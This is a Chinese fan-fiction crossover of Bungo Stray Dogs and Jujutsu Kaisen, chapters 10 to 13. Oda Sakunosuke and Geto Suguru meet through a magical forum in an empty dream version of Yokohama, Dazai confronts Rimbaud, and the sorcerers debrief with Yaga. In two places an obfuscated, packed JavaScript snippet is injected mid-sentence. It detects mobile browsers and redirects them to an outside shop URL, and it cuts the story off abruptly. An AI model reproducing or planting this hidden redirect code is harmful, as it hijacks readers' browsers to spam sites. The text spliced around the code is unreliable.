【请再接再厉，争取首次面基机会吧！刚～把～爹～！】 织田作之助：“…………？” 10. 异世会晤 1000条消息说多不多，说少也不少。 织田作之助和夏油杰都是语言简练、浓缩精华的聊天风格，结果到最后为了凑这个[畅聊之火]，俩人不但一句话断成三句说，还加了很多诸如“嗯嗯”“好的”“对”“谢谢你”之类没用的废话。 等到夏油杰连“好”和“的”都要分开发时，织田作之助这边终于跳出了一个消息。 【你和[咒灵操使]已点燃畅聊之火（进度1000/1000）】 【下一阶段[快乐面基]（进度1000/10000）】 【请再接再厉！刚～把～爹～捏～！】 织田作之助：“……” 夏油杰：“……” 10000……10000……两个人不约而同打开那个置顶帖，嚯，悟三岁和宰三岁已经盖楼盖到了300+层。 说不定可以把账号借给他们……不行，不能借，借了干什么，让他们继续嘴吗，可别闹翻天了！ 织田作之助一个头两个大，男人试探性打字。 【织田作之助：要不然，我们只发“嗯”凑个数？】 【咒灵操使：好。】 【织田作之助：嗯。】 【咒灵操使：好。】 …… 两人一来一回就这么刷了几千条，中途夏油杰那里偶尔画风突变。 【咒灵操使：嘻嘻，你好呀】 【织田作之助：？】 【咒灵操使：你谁？背着老子和杰聊了这么多条…】 话只发了一半，然后话头掐断了。 过了一会会，对面再次回应。 【咒灵操使：你好，那两个家伙去忙了，换我来。】 【织田作之助：你是？】 【咒灵操使：家入硝子。话不多说，继续吧。】 【织田作之助：……好。】 …… 夏油杰确认了两件事。 一，论坛屏幕经过本人同意，是可以暂时外借的。 二，脑子转得越快，发消息越轻松。 而五条悟那恐怖的脑力，被全部用在了聊天盖楼上。 这家伙一边出任务一边还能嘴那么多条，看着悟带回来的成堆的咒灵玉，夏油杰自叹弗如。 “怎么样怎么样？老子很厉害吧？”悟笑眯着眼，如果有条尾巴在屁-股后边，那应该已经高兴地翘起来了。 他那双黑瞳看久了，也变得莫名习惯起来。 杰数了下玉的数量，足足二十多个，加上丑宝的那一枚，收获大到恐怖。 “……谢谢。”夏油杰挠挠脸颊，道谢，总感觉怪怪的。 怎么有种搭档外出打猎，自己被养在高专的错觉呢（？）就像小白脸一样…打住。 悟和他并排坐着，听见这客气的语气也没跳起来，反倒望着虚空，有点走神。 夏油杰看他这幅样子，心中一紧。 “你，嗯，”咒灵操使清清嗓子，谨慎地试探道：“你有没有偷偷吃我的玉？” “怎么说呢…”悟的眼神飘来飘去，明显有点心虚，“杰…这个…” 吗的，完了。 夏油杰双手紧攥，心狠狠一沉。 他感觉胸口怦怦跳，声音有点干涩，“那你应该知道了？这也…也没什么大不了的…” 很羞-耻吗？谈不上。不想暴露咒灵玉的味道，不想暴露伤口，让同伴担心，也不想收获哪怕是任何一丝同情的眼神，现在不要有，之后也不要在他特意避开的时候流露-出来…念头乱糟糟的混在一起，夏油杰分不清自己到底在说什么。 “杰。”肩膀上多了一只手的重量。 出现在视线中的，是白发最强平静的脸。 悟的表情很认真，和一本正经说[还有你在我身边]那样，是对搭档完整的信任。 “不舒服吗？”悟关心道。 “……没。”杰轻轻地深呼口气，平复情绪。 悟…好像不是很在意这件事的样子。杰仔细观察，后者对上他的视线，猫猫微笑。 “老子的六眼也一样，”悟像是找到了知音，不，其实从入学后两人吵吵闹闹成为搭档后，五条悟的表情就多了这种活意，“果然，杰超级厉害啊，和老子一样厉害！” 夏油杰：“……”行，夸别人一定要带上自己是吧。 杰捏了捏眉心，心中莫名轻松了一些。所以悟的逻辑是，六眼和吞呕吐物一样辛苦？那这家伙十几年过得也不容易…… “实际上呢，老子本来打算骗骗你的，”那颗蓬松的白毛脑袋又凑了过来，“但是坐在杰旁边之后，实在忍不住了——” 夏油杰：“啊？” 毫无边界感的白毛脑袋往同期肩膀上靠，与此同时，“真的太难吃了，唔呕————” 声音是从五条悟嘴里发出来的。 夏油杰木然低头，看见了一些【彩虹马赛克】，而自己的高专校服上全是【彩虹马赛克】。 杰：“………………？” ＋ 整整半个小时后，织田作之助终于攒满了10枚[畅聊之火]，拿到了一个[快乐面基]的机会。 这个面基真的是他理解的那种面基吗……红发男人有点犹豫。 “试试嘛，感觉有种玩真人游戏的感觉，管理员里边肯定有个沉迷游戏的家伙。” 太宰治办完事回来了，此时正靠在卡座里吃咖喱饭，表情满足。 少年懒洋洋鼓励道：“我预感不会出任何问题，还能收获不得了的情报呢！” 太宰都说到这份上了，织田百分百要试试。实际上，如果有危险，男人也打算拼一把。 “这里你能应付吗？” Lupin里一松一紧关着两个成人，还有五个孩子，[帐]的外侧潜伏着不知道多少耳目，织田担心身上只有「堕-落论」的友人遇到危险。 织田觉得理智上看，还是太宰去比较合适，但名额不能转交，从感情上考虑，他自己也不愿意让年纪小的友人事事都顶在最前面。 “没～问～题～啦～”太宰比了个OK的手势，指了指躺在卡座沙发上看上去应该是在装睡的安吾，“如果遇到敌人，我就把这家伙放出去，我躲后边，”Mafia干部振振有词，“毕竟都拿着织田作的「天衣无缝」了，总该有点作用吧！” 坂口安吾：“……” 织田：“。” 红发男人摇摇头，确认了一下武器，随后点下界面上的[同意]。 在织田面前，缓慢地浮现出一个金色的窄门。 这是金色异能的第三种形态，相比于小屏幕和迷你方格，它的面积更大，出现的速度也更缓慢而艰难。 完全成型之时，织田作之助一步踏入。 “一路顺风…”太宰的话在耳边渐淡。 男人鼻尖先捕捉到的，是硝烟的味道。而后视野从昏暗中恢复，呈现在他面前的，是熟悉又窒息的街景。 道路的宽度、对面的建筑形状，都和他的记忆一一印证。这里没有太多市井气息，因为普通生意人都对盘踞在这里的势力退避三舍。 织田深吸一口气，转身。 港口Mafia高耸的纯黑色大楼静静立于身后。 唯一的区别，是耳边捕捉不到任何人声。 除了夕阳下穿街走巷的晚风，不论是安宁的絮语、交谈，还是带来恐惧的势力冲突，统统消失不见。 横滨变成了一座寂静的死城。 织田作之助思考两秒，往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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床铺上干净整洁，而上方的某一处痕迹非常显眼。 那是一道已经干涸暗沉的血迹。 呈喷溅状，从高度来看，大约是一个坐着或者躺着的人被某种利器割穿了喉咙。织田思考两秒，上前用鞋尖掀开了床边的地毯。 果然，也有血迹浸润。 这里，曾经是一个凶案现场。 怎么回事？这个空间都充满了谜题，织田掌握情报太少，脑袋里只有纷乱的猜测。男人持枪动作依旧平稳，在搜查确认没有多余线索后，缓慢退回了电梯内-侧。 “叮——”顶层到了。 首领办公室外侧有一个侧梯，可以爬上楼顶的停机坪——这是太宰治曾经告诉过织田的话。 男人踩着坚硬的铁质台阶，一层一层往上，终于站在宽阔天台的边缘，看到了远处海面上半遮半掩的落日。 整个世界依旧只余风声。 这是因为对面的家伙，也在安静地观察。 织田作之助从容抬头，和等待着“面基”的对象打了个照面。 第一印象，咒灵操使本人比他想象得还要年轻。 第二个念头是，现在的年轻人真不简单。 对方坐在塔尖狭窄的钢铁横杠上，气流带起他额前的刘海，即便在百米高空，少年也无一丝恐惧，姿势如同靠在卧室沙发上一般随意。 “你好，织田作之助先生。” 丸子头少年看着在他面前“倒立”着的红发男人，露-出招牌性的温和笑容。 “很高兴能有机会和你面对面交流。我是夏油杰。” 11. 落日幻景 倒立着交流的感觉，十分新鲜。 身高原因，织田头一次需要仰着脑袋看人，还好东京铁塔的尖尖差不多快戳上停机坪了，仰头的角度并不废人。 据织田目测，这孩子的海拔也是相当优秀，至少180往上走。不仅是身高，体格也优秀得让人侧目。 “这个问题有点冒昧，你可以拒绝回答，”织田作之助抬手，摁了摁后脖颈，“夏油君…成年了吗？” “织田先生看着呢？”夏油杰把问题抛了回来。 “很学生气啊，”织田刚见面一般不会这么随意，但线上聊天比较合拍的话那就是另一回事了，“虽然你看着年轻，但是气势和实力都不太符合年龄…” 杰也随意地接上话题，“也就是说实力很优秀咯？” “没错，很厉害啊，”织田不吝夸奖，“其他的咒术师也和你一样，年纪很小吗？” “一部分也成年了吧，但是打不过我们，”夏油杰随口说了句，接着反应过来，“啊，我的意思是，打不过我和悟……” 更像是在显摆了！杰斟酌改口，语气委婉，“能力越强责任越大，所以咒术界最难的那一批任务交给我们负责。” 这话，兜来转去还是在委婉地表达两个字：“最强。” 织田作之助压不住嘴角，在心里想这孩子也太可爱了。 横滨的异能力者里也许有实力能和对方比肩的，但少年的意气风发和谦虚共存，这点可不常见。 不过，未成年包揽顶层任务这点，出乎织田作之助意料。 就算是没什么道德的港口Mafia，最顶层的队伍也是由成年异能力者构成的，如果要筛出身居高位的未成年……到目前为止也只有太宰治和传说中那位重力使，这两个人没有达到20岁。 “最难的任务是指，对付特级咒灵吗？”织田作之助回忆了一下商城里特级咒灵的价格，一时有些沉默，“很不容易吧？” 看着男人略微担忧的表情，夏油杰心情平静，甚至有些讶异。 “……是没那么轻松，但是两个人一起的话构不成威胁。”夏油杰用指尖挠了挠脸颊，有点不自在。 来自萍水相逢的成年人的关心，对最强而言反倒是个稀罕物。毕竟咒术界的成年人都打不过他和悟，而救下的普通成年人死里逃生，只有劫后余生的感激。 “反倒是因为数量多，所以工作量有些不合理了。” 真奇怪，杰在心里想，这些话他不可能跟朋友和师长抱怨，从来都没跟别人说过，朝着这个异世界新交的朋友倾诉倒变得容易起来，“织田先生，我的年龄很重要吗？” “你们在读高专吧？不知道你们那里的咒术界是怎么回事，”织田难得想摸根烟出来，搜搜口袋只碰到了肋下坚硬的枪械，“但是需要未成年人承担责任的话，不会是哪里出了问题吗？” “……也不算逃避责任，至少高专的前辈们都在很努力地出任务，很努力地活着。” 夏油杰扭头去望海平面，落日又沉了下去，只露-出一个恋恋不舍的圆尖。 “织田先生，这很正常。”丸子头少年语气平静，“你那里的世界里，有未成年孩子战斗的情况吗？” “有啊，”织田答得很快。男人叹口气，想起自己收养的五个孩子，又想起几年前那场战争之后人满为患的孤儿院，“……如果因为这是常态，就理所当然开始享受，那只能算是堕-落又卑鄙的大人吧？” 夏油杰顿了两秒，忽然笑了。 “您跟我的班主任很像。”他切换成了敬语。 “还是别用敬称吧，”织田也笑笑，“就当交个朋友？我可以称呼你杰君吗？” “随意，”夏油杰挑眉，尝试了一个新称呼，“作之助君？” 这个称呼陌生极了。 天天被太宰“织田作”“织田作”地跟着叫，别人的称呼太正经了竟然还有点不习惯。 红发男人一顿，笑了笑，“当然可以的。” 穿梭于两个世界的风很真实，织田又往天台边缘走了走，单脚踩在了矮墙上，去看底下密密麻麻的低层建筑。 “还真是逼真啊，这个异空间一样的地方。” “说不定也可能是幻境，”夏油杰跟着男人的视线抬头，去一寸寸描摹横滨的土地，“你生活的地方，和我认识的横滨不太一样。” “嗯？” “我那里的横滨没有这么标志性的五栋大楼。” “这样啊，”织田指了指远方，“摩天轮有吗？” “有的。” “哈哈，那真是巧了，”织田道，“不过，从这里掉下去真的会死吗？” “我是不会的，作之助君会不会不太清楚，”杰歪着脑袋眨眨眼，“你的心理素质也很强大…异能力者，一般是做什么工作呢？” “什么工作都有，高层，事务所，侦探，官方机构…”织田顿了顿，“还有一些灰色和黑色的组织。” “Mafia吗？” “……对，在横滨很常见。” 难得的跨世界见面机会，两人除了单纯地交流，还进行了一些尝试——比如，看看能不能通过身体接触，将重力倒转过来，去到另一边的世界中。 织田作之助想往天台边缘上站，这样能凑得更近一些，但是被夏油杰阻止了。 “那样危险，请等一下。”丸子头少年起身，召唤出了一只巨大的龙形生物。 这只咒灵无风自浮，盘旋着绕飞于塔尖，用大脑袋将少年顶起往上送去。此举搅起了更为强劲的气流，将红发男人的浅色风衣衣摆卷得猎猎作响。 织田作之助整个人惊了一瞬，眼睛一眨没眨。 “这是特级咒灵，虹龙，”看见对方感兴趣，夏油杰主动解释，“它能飞，很方便。” 恐怕主要的作用不止能飞这一项吧，织田暗中猜测。 “……这是什么？”红发男人朝上伸-出胳膊，指尖探向夏油杰近在咫尺的肩膀，却无法触摸到少年本身。 两个人之间似乎阻隔了一层透明的膜，摸上去之后隐约显形，感觉上像很牢固的胶质。 “是会这样，所以我也飞不到作之助君那里，”夏油杰明显在织田来之前就试过了，“这里是两个世界离得最近的地方，但是斥力一直很强。” 说着，丸子头少年回到塔尖上，捏了下他方才坐着的钢筋。也许是牵动了某个受力点，整个塔顶的结构都发出了“咯吱咯吱”的声音。 “这个异空间里的建筑没有现实生活中那么结实，”杰一句话暴露了他脚踩东京塔俯瞰城市的中二经历，“有种松散的、被磨损了的感觉。” “这么一说，这个天台看上去也很破旧。” 织田一经提醒，也很快发现了盲区。 夏油杰说出了他观察到的结论，“如果两端的建筑物都在同时承受排斥力的话…说不准这是两侧世界碰撞产生的。而这一层类似结界的东西，反倒在起某种缓冲和保护作用。” 还有一点杰没有说出来。 他觉得这层胶状物，和悟的「无下限」术式效果十分类似。 织田捏着下巴点点头，若有所思，“嗯，但是没有阻拦住所有分子，嗅觉上是正常的。” 刚刚离的很近，他能感受到夏油杰发丝湿润，周身有种水汽感，带着隐约的皂香，像是刚沐浴过。 看来夏油杰同学来见网友之前特地洗了个澡，是非常注意礼貌的好孩子。 听见织田这话，夏油杰“呃”了一声，表情变得很微妙，就是突然被戳穿了什么难以启齿的小秘密。 “作之助君…”他犹豫着思考该怎么问，甚至想把领口袖口重新翻开来再检查一遍。 [他为什么提到嗅觉？]杰疯狂思索，[是还能闻到呕吐物的味道吗？难道自己临走前没冲干净？] 甜党少爷做任务的时候，不知道出于好奇偷吃了多少颗咒灵玉，反正肯定不止一个，还在经受着味蕾和记忆的毒打，以至于忍不住yue在了亲爱的搭档身上，还yue得完全停不下来。 虽然yue完之后能力也换回来了，但是杰想到自己被迫手搓干净的校服，和那满怀的【彩虹马赛克】，就恨不得把那些玉全塞对方嘴里堵住。 “呃！没有没有。”突然觉察到气氛有点怪，织田赶紧澄清。 他也不能说对面小朋友身上的沐浴露气味还不错，这听起来简直太变-态了，男人尴尬地乱扯，“就是，我嗅觉比较敏锐，Mafia这一片是有独特的气息的，东京的和横滨的闻起来不一样…” ……什么乱七八糟的，织田更想来杯酒了。 幸好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929771|136437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方也觉得尴尬，两个人对视一眼，默契的跳过了这个话题。 这一趟的收获非常丰富，也冒出了更多难以解释的谜题。 “快到晚上了啊。”沉默中，织田眺望着，蓦然开口。 夕阳只剩下一点尾声，谁也不知道黑暗笼罩下的异空间又会是怎样的模样。 “嗯，”夏油杰轻轻应了一声，忽然道：“感觉时间不是很多了，我试着探一探吧。” 丸子头少年在虹龙头顶站了起来。 他抬了下手掌。 只是这么一个小小的动作，只是短短一个呼吸的时长。 半空中忽然裂开了许多条黑黢黢的缝隙，像是什么利爪将整片空间悍然撕碎！从中钻出各类怪物，有大有小，面目骇人，大约只能用魍魉魑魅来形容。 织田第一次看到如此之多的、名为“咒灵”的东西，相比之下，太宰兑换出来的那几只四级简直是小打小闹！ 在咒灵操使的指挥下，这些咒灵朝着四面八方均匀地分散开来，有秩序地对整个幻境进行探索。 气势铺天盖地，有如黑夜前临，百鬼夜行！ 织田这回是彻彻底底震惊到了，安吾“数量无上限”的描述在此时真正地刻入男人的脑海中。 这些咒灵，他才不信只有“飞”和“探查”这两个功能。 ……高到离谱的武力值，放在横滨，都有绝对实力引发第二次龙头战争了。 一时间，织田作之助对论坛的存在产生了小小的动摇。 两个世界的接触，真的是正确的吗？ 夏油杰站在虹龙龙首上，面朝着夕阳正在落下的方向，仰头邀请新见面的朋友，“要一起去看看吗？” 织田干巴巴提醒他，“啊，那个，我不会飞。” 啊，对。杰思考了下，福至灵心，“你试着用论坛借一只？” 织田：嗯？ ……还真行得通。 织田作之助打开论坛商城，贡献了100积分，从夏油杰那里兑换到了一只粉粉的有点像蝙蝠的大鱼。 “这是鬼蝠鲼，”夏油杰的脑袋里仿佛揣着一本《咒灵百科全书》，他干巴巴描述道：“它能飞。” 唉，更正一下，这么贫瘠的描述能力，不能叫百科全书了，叫《咒灵名录》吧。 织田刚伸-出手想撑着跃上去，与咒灵接触的手掌陡然绽放出异能力的金光。 如果不是织田反应极快地挪开手，咒灵竟然差一点就被祓除了！ 夏油杰嘶了一声，“这是「人间失格」吗？怎么在你身上…哦，「随机互换」？” 咒术师那里的情报进度也不落后。这个消除的异能是能透过衣服介质传播的，也就是说，男人没法儿坐他的咒灵了…… “没事，”织田作之助说着，主动从口袋里掏出一对手套。他之前无心之举下的准备，竟然在这时用上了，“也许是互换后我掌握得不熟练吧，「人间失格」只有在肢体直接接触的情况下才能奏效——这样就行了。” 织田展示了一下自己被手套包裹的双手，这下只要他谨慎点不把脸贴上咒灵背部，就能安安稳稳地坐上去了。 一龙一蝠鲼开始追赶日落。 两人中间是不分彼此的气流，脚下是广袤不见边际的土地。他们明明是在朝光亮的方向飞，周围的“天空”却越来越昏暗。 随着距离越来越近，地面越来越模糊，杰和织田同时感觉到他们碰上了某种“界限” 两人对视一眼。 下一秒——他们撞入了一片虚空之中。 漂浮感、迷蒙、嘈杂声、恍惚…很难形容那短短一瞬的复杂感觉。 残存眼底的，似乎是令人头晕目眩的星空宇宙。 织田恍惚简听到了很熟悉的嗓音。 “到此为止了…有一日…终会…” 男人轻缓地睁开眼，慢慢醒来。 是熟悉的Lupin休息室天花板。这里的床偏小了，所以他的脚底板直直地贴在床尾的墙壁上。 身旁人影浮现，织田瞳孔一颤，快速抬手，握住了一截缠满绷带的手腕。 “……你也跟过去了吗？”男人开口，问了个没头没尾的问题 “没有哦。” 安静三秒，太宰轻声道：“我明白了，是那家伙啊。” 12.双线推进 安吾已经不装睡了，头顶打出大大的问号。 ……不是，你明白啥了？“那家伙”又是谁，又是谁！你说啊！ 不负安吾所望，太宰果然将话题…转移到了另一个地方。 “织田作，我刚刚去见了首领，唔，现在应该不算首领了，我们就叫他森先生吧？” 织田作之助顾不上躺了，一骨碌坐了起来，“你篡位了？” 安吾：“？” “…没。”太宰也被这直白的用词搞懵了一小会。 “那就好。”织田松口气，又安心地躺了回去。 “没有那种打算呢，”太宰平地一声惊雷，“我打算叛逃。” “哦，好，”织田反应平淡，“带我一个。” 安吾：“……？” 太宰歪着脑袋微微眯眼，突然冒出一句话，“你知道那件事是森干的？” “嗯。”织田作之助沉沉地应了。 刚开始是森鸥外安排他去营救坂口安吾的，这也是织田入局的开始，再加上他从纪德那里了解到的Mimic入境动机，如果男人猜不出来这一点，那么之前的职业算他白干了。 只不过，自从确认孩子安稳之后，织田就打消了手染鲜血的念头。先将五个孩子安顿好是当务之急，其他事情都统统往后排。 “之后我打算……算了，走一步看一步吧。”离开Mafia之后他能干些什么呢？织田暂且没有什么太具体的想法。 “我倒是有个方案哦，”太宰不紧不慢开口，“不过现在事情没办成也不急，之后再说。” 安吾：“…………” 织田作之助不是情报人员，也很佛，完全没有任何追问的念头。太宰故意岔开第一次那就会有第二次，不必剖根究底，时候到了对方自然会提。 二人间这种倾听的默契和无以伦比的话题节奏，基本谁都插不进去。 “啊！对了，我见完首领之后，去Mafia地牢里转了转，发现了一件很有意思事。”太宰笑眯眯地看了安吾一眼，把对方看得脊背发毛。 织田从善如流接道：“什么事？” 太宰：“不告诉你^^” 坂口安吾：“………………？？？” 不是，太宰你故意的吧？故意的！这吊人胃口的本事哪里来的，真是听得人抓心挠肝！！！ 坂口安吾觉得自己不如睡着，话听一半的感觉对情报人员来说简直是酷刑。 “你们…”安吾长叹一口气，狠捏眉心，“我们是不是该谈谈正事了？” “啊咧，我不是正在谈正事吗？”太宰一脸无辜。 “……但是，你们的事我也不好多听吧？” 前卧底非常自觉地表示自己不越雷池，“为什么不谈谈我们都知道的事情呢？” “嗯哼。”Mafia干部…不，应该是前Mafia干部，露-出了一个难以捉摸的微笑。 “当然是因为，那种话题，现在谈不了啊。”太宰意味深长。 “知情-人不都在这？只有我们几个有…那个啊…”安吾插的话哽住。 他不是主动停下来的，而是被动地被掐住了喉咙。 安吾后知后觉，论坛那个诡异的保密协议竟然已经启动了！他完全发不出声音！ 是纪德醒了吗？ 卧底先生镜片后的目光平移至角落，银发俘虏双目紧闭，呼吸平缓，没有任何传醒的迹象。老板回避，孩子安睡，猫也不在…… 所有可能性一一排除，剩下一个极为恐怖的猜测。 “哦哦，你说那个啊，”太宰表情纹丝不动，顺着安吾的话头往下，说得超级大声，“是我们都加入的那个神秘组织？呀，你胆子真是大呢，在被那个组织监视的情况下还敢大声议论。” “？”什么？组织？ 在场的另外两个人都没有跟上思路，但都是聪明人，织田保持沉默没有贸然插-入，而安吾心思电转，摸到了一点门道。 “呃，对，是那个组织，”安吾眼神朝四周飘去，昏暗的室内似乎每个死角都潜藏着危险，“你们不觉得很奇怪吗？把我们全部都控制住了，对方的目的到底是什么？” “是的啊！超级可怕的啊！感觉对方已经不是异能力了，而是有超能力，”太宰煞有介事，一唱一和，“我们不都看见了那个超越者的实力吗？能够操控金色的方块什么的，还可以构建一个超级巨大的异空间…” 安吾表情陡然紧张，似乎是预知到了什么，提醒冲口而出，“太宰，小心门口！” 织田作之助察觉到不对劲，一直警戒着的他迅速拔枪，几乎是同时，敌人闪身而入。对方的气息隐藏得太好，身形也极快，织田的子弹打空两发，与此同时对方长臂一揽，将目标迅速挟持！ 太宰治岿然不动，眼里有股冷静地疯狂，无视这一切冲突，将方才话一字一句说完，“——就像双黑成名的那一日，我们打败的敌人一样。叫什么名字来着？” 冰冷又锋利的刀刃抵住了绷带缠绕的咽喉。 金发男人身形高大，几乎将太宰治整个包住。他抬眼扫过在场所有人，眼里是抑制不住的厌恶。 “我劝你把那个玩具收起来。”敌人的嗓音低沉而从容，他感觉到了离自己后腰近在咫尺的灼热枪口，但他对自己的刀术和异能都极为自信。 “你可以尝试着开枪，但是之后的10秒，你只能徒劳地捂住你朋友被割开的咽喉，”金发男人每一个字像是从獠牙缝隙中挤压而出，白色西装裹不住腾腾杀气，“接着在目睹了他的死亡之后，被我狠狠撕碎。” “啊，我想起来了，”太宰表情不变，双手缓缓抬起，“中也打倒的那个超越者的名字，叫兰堂。” 刀尖骤然收紧，一缕红色在略散乱的绷带上蔓延。 织田作之助和金发男人都看不见太宰治的表情。 但这全数落入了安吾眼中。 ——如同钓者精心布置了饵料，而后自信满满抛竿，引鱼上钩。 ——那是个一切尽在掌握的微笑。 ＋ 异能力者搅弄出的暗流涌动，山雨欲来。 咒术师这里却有种诡异的安宁。 “你先不用急，好好回忆一下，”夜蛾循循善诱，“你的落点是在东京的街上，对吧？除了没有人，还有什么其他特殊的地方吗？” 夏油杰一边回忆，一边打了个大大的哈欠，“呃，最特殊的就是一个人都没有。” “地点方面有什么讲究吗？为什么会从高专移动到市中心呢？” 夜蛾很耐心，他相信不是自家学生观察力不够，而是对方实力太强，平时有能力应付所有突发-情况，所以会下意识忽略他觉得不重要的细节。 “啊，我想起来了，”杰挠挠鼻子，“我附近有家KFC…” 说到这他停住了。 “你进去了吗？发生了什么？”夜蛾问得很仔细。 “呃，没有进去，因为赶时间，”杰有点不好意思，“那家店在打折。” 老班：“……” 杰欲盖弥彰补了一句：“不是我喜欢，是悟特别喜欢他们家汉堡包。” 夜蛾：好了，打住，别拿你的男同学当借口。 “之后我看到天空有异常，就直接飞上了东京铁塔，和另一个世界的织田作之助见面了。” “你对他的评价如何？” “嗯…实力很不错？”杰托腮道。 “是异能力很强吗？” “不，他的异能力是5秒预知，挺有局限性的，”杰回忆了一下那位织田作之助的体格和走路姿势，“不过在格斗方面肯定很厉害。” “和你们比呢？” “应该打不过我和悟吧，但加上异能的话也说不定，”夏油杰，“感觉是隐藏气息类型的攻击风格。” “杀手吗？”夜蛾目光一闪。 “不像，”杰摇摇头，“气质不凶。” 夜蛾拿着纸，将幻境的细节、对方的样貌、见面的交流内容和其他等都一一记录下来。 如果织田作之助在这里，一定会产生共鸣。世界上靠脑子就能装得下所有情报的天才凤毛麟角，大多数情况下，还是要靠烂笔头和保密工作。 “他们的异能力也和我们一样互换了。”夏油杰道。他描述了一下那个神奇的「人间失格」，并表示这个能力在祓除咒灵方面非常强悍，具有顶级的使用价值。 因为从理论上来说，不管是物理攻击、远程攻击，还是夏油杰某个特级咒灵[裂口女]所拥有的规则性攻击，都需要以咒力为媒介，咒灵本体更是咒力浓缩的。 如果「人间失格」被验证能够无视浓度消除咒灵，那它便可以免疫来自咒灵的一切体术和法术攻击。 而针对咒术师，则直接ban掉了非体术方面的攻击手段。 可以说假如体术第一第二的悟或者杰带上这个异能，那除了需要提防枪械和冷兵器外，基本没人干得过他俩。 夏油杰和五条悟对上伏黑甚尔这个罕见的天与咒缚，只能说是单纯的运气不好了。 “你在飞出那个幻境边缘之后，看见了什么？”夜蛾扒拉出情报里的最后一片空白。 夏油杰摁了摁眉心，到目前为止，那种混乱又迷蒙的感觉仿佛还有所残留。 “没有具体的印象，感觉像是往我的脑子里塞了很多东西。”夏油杰干巴巴道，“那之后就失去意识了。” 说着，他晃了晃自己面前的屏幕，“织田作之助那里也是同样的 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星浆体搅弄起的风波被渐渐平息，伏黑甚尔在麻醉咒灵的配合下被秘密关押。五条悟动用势力，回绝了总监部关于处刑天与咒缚的提议。 因为高专手里还有两个不大不小的娃。 伏黑惠和伏黑津美纪母亲跑了，父亲被抓了，高专三人组谁也当不了这个爹妈，这义务自然移交给了班主任。 ——哦，现在应该叫夜蛾校长了。 据悟所说，前任校长在位时从来没有出现过这么大的混乱，不但硬抗总监部、招惹禅院家，五条家也有下场的架势，内忧外患下前校长自觉无法担当重任，于是收拾收拾，火急火燎的位置交给了自己早就选定的下一任。 夜蛾：“…………” 全高专最靠谱的成年人叹口气，接下烂摊子。 伏黑惠和伏黑津美纪都是小孩子，高专招生则面向快成年的国中毕业生，年龄不匹配。 考虑到还有伏黑甚尔这个不确定因素要在高专秘密看押，校长思考后询问了孩子们的意思，给姐弟俩转学到附近的小学，好隔开保护。 至于学费，由高专出面资助了。 伏黑姐弟不知道，他们的生活费还有零花钱，是五条悟、夏油杰和家入硝子同时掏出小金库，三个人拼出来的。 “住的话，就住老子家里吧。” 五条悟表示自己可以慷慨一下，反正他的家主爹是个儿子乱窜的空巢老人，一定会很乐意给自家大少爷带孩子。 夜蛾正道闻言恨不得把五条家大少爷的脑袋撬开，把里边儿的水晃荡干净。 伏黑甚尔的资料硝子已经在遗忘之前全部默写出来了，「天与咒缚」这种体质可能比较小众，但人家原名禅院甚尔，身为咒术师不可能不熟悉这个姓氏。 伏黑惠严格来说也叫禅院惠。 而作为五条作为禅院在御三家圈层中的死对头，非但不避嫌，还赶着把人往自己家里塞，真是嫌消息万一泄露麻烦不够多，场面闹的不够大。 这本该是直接被1秒否决的议题。 结果，论坛发送了一句话，有种凑热闹不嫌事大的感觉。 【改运积分2000（预加）】 夜蛾：“？” 这个改运积分之前也跳出过来一次，正是夏油杰和家入硝子把俩孩子带回来的时候。一个孩子算了1000分，拢共又加了2000分上去，填补了硝子之前兑换「苍」的积分缺漏。 在加入论坛之后，夜蛾也清楚了积分的重要性。但是…积分不是最重要的…校长艰难拒绝，“还是不合适，上下学光距离就很麻烦。” “那也可以和杰一起，杰最近不是打算住出去吗，”五条悟眼珠一转，一秒一个主意，“多一层保护的话，就让老爹收养他吧，改名五条惠。” 这个提议明显更合论坛管理员心意。 【改运积分10000（预加）】 一出手就是一次「无下限」。 悟：“哈哈哈哈哈哈哈哈哈哈哈！” 夜蛾：“………………” 校长先生不仅觉得离谱，还有种不妙的预感。 怎么觉得这个“论坛”的背后主使，也是个唯恐天下不乱的狂妄家伙呢？ ……应该是，错觉吧？ 夜蛾深吸一口气，决定把这件事先交给靠谱的杰。除此之外，高专还有更重要的调查任务。 在硝子阴差阳错带回伏黑姐弟之后，【有事就干】板块刷新了任务列表。 [天内理子“√”] [伏黑惠“√”] 而在已完成的项目下方，刷出两行新任务关键词： [灰原雄] 以及，[旧枷场村]。 13.危险尝试 任务的更新是所有的论坛成员同步。 不光夜蛾校长，夏油杰、五条悟和家入硝子三人，都对未来一段时间忙碌的重点有了个模糊的概念。 一个熟悉的人名和一个陌生的地名，大家最先讨论的话题自然落在了灰原雄身上。 “嚯，这不是熟人嘛，”悟拖着下巴，上半身倚靠在课桌上，“这是什么意思？我们要去帮灰原解决他的青春少男烦恼？” “很明显不可能吧。”硝子翻了半个白眼，又摸出了一根烟。异能换回来之后她抽得凶了不少，隐约还可以看见棕色发丝间夹杂的白发。 她自己本人似乎还没察觉。 “直接问灰原有点尴尬的话，我们不如从七海君入手。”夏油杰思考片刻，给出提议。 他的出发点很正经。 一年级两个同期学弟一直在一起做任务，七海必定是最了解灰原的那个，或许能对任务内容有所提示。 “但也要请夜蛾校长让情报部尽快调查旧枷场村，”夏油杰继续道，“越快越好。” “这么着急吗？”悟问道。 “灰原雄的情况更容易监控，但是第二个危险，”夏油杰也不知道自己哪里生出来的糟糕预感，“如果都是类似伏黑惠…甚至比姐弟两人更严重的情况呢？” “这样，那老子联系家里人也来帮忙吧。” “会不会麻烦…” “不会，”五条少主大手一挥，“他们闲得很。”（五条家所有人：？） 杰呼出口气，“谢谢。” 